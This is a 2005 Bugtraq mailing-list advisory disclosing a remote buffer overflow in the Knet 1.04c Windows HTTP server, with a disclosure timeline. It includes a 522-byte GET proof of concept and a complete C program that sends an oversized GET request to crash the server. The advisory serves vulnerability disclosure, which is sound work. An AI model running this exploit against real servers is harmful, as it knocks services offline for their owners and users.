Knet <= 1.04c Buffer Overflow Bug

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To: "bugtraq" <bugtraq@securityfocus.com>
Date: Fri, 25 Feb 2005 23:37:24 +0100

-=[--------------------ADVISORY-------------------]=-
-=[
     ]=-
-=[ Knet <= 1.04c ]=-
-=[
     ]=-
-=[ Author: CorryL [corryl80@gmail.com] ]=-
-=[ x0n3-h4ck.org]=-
-=[-----------------------------------------------------]=-

-=[+] Application: Knet
-=[+] Version: 1.04c
-=[+] Vendor's URL: www.stormystudios.com
-=[+] Platform: Windows
-=[+] Bug type: Buffer overflow
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: CorryL ~ CorryL[at]gmail[dot]com ~
-=[+] Reference: www.x0n3-h4ck.org

..::[ Descriprion ]::..

Knet is an small http server,easy installation and use.

..::[ Bug ]::..

This software is affected a Buffer Overflow.
A malitious attacker sending the request GET AAAAAA..... to 522,
this cause the overwrite of the eip registry,causing the execution of
malicious code.

..::[ Proof Of Concept ]::..

GET AAAAAAAAAAAAAAAAAAAAAAAAAA......... to 522 byte long

..::[ Exploit ]::..

/*

      KNet <= 1.04c is affected to a remote buffer overflow in GET command.
   This PoC demostrate the vulnerability.

      KNet <= 1.04c PoC Denial Of Service Coded by: Expanders

      Usage: ./x0n3-h4ck_Knet-DoS.c <Host> <Port>

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);

int main(int argc, char *argv[]) {

    struct sockaddr_in trg;
    struct hostent *he;
 long addr;
    int sockfd, buff,rc;
 char evilbuf[1024];
 char buffer[1024];
 char *request;
 if(argc < 3 ) {
  help(argv[0]);
  exit(0);
 }
 printf("\n\n-=[ KNet <= 1.04c PoC DoS ::: Coded by Expanders ]=-\n");
    he = gethostbyname(argv[1]);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
 request = (char *) malloc(12344);
    trg.sin_family = AF_INET;
    trg.sin_port = htons(atoi(argv[2]));
    trg.sin_addr = *((struct in_addr *) he->h_addr);
    memset(&(trg.sin_zero), '\0', 8);
 printf("\n\nConnecting to target \t...");
 rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
 if(rc==0)
 {
  printf("[Done]\nBuilding evil buffer\t...");
  memset(evilbuf,90,1023);
  printf("[Done]\nSending evil request \t...");
  sprintf(request,"GET %s \n\r\n\r",evilbuf);
  send(sockfd,request,strlen(request),0);
  printf("[Done]\n\n[Finished] Check the server now\n");
 }
 else
  printf("[Fail] -> Unable to connect\n\n");
 close(sockfd);
 return 0;

}

void help(char *program_name) {

 printf("\n\t-=[ KNet <= 1.04b PoC Denial Of Service ]=-\n");
 printf("\t-=[ ]=-\n");
 printf("\t-=[ Coded by
ders -/www.x0n3-h4ck.org\\- ]=-\n\n");
 printf("Usage: %s <Host> <Port>\n",program_name);
}

..::[ Workaround ]::..

Waiting for an official patch

..::[ Disclousure Timeline ]::..

[17/02/2005] - Vendor notification
[17/02/2005] - Vendor Response
[25/02/2005] - No patch relase from vendor
[25/02/2005] - Public disclousure

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• Previous message: Thierry Carrez: "[ GLSA 200502-30 ] cmd5checkpw: Local password leak vulnerability"
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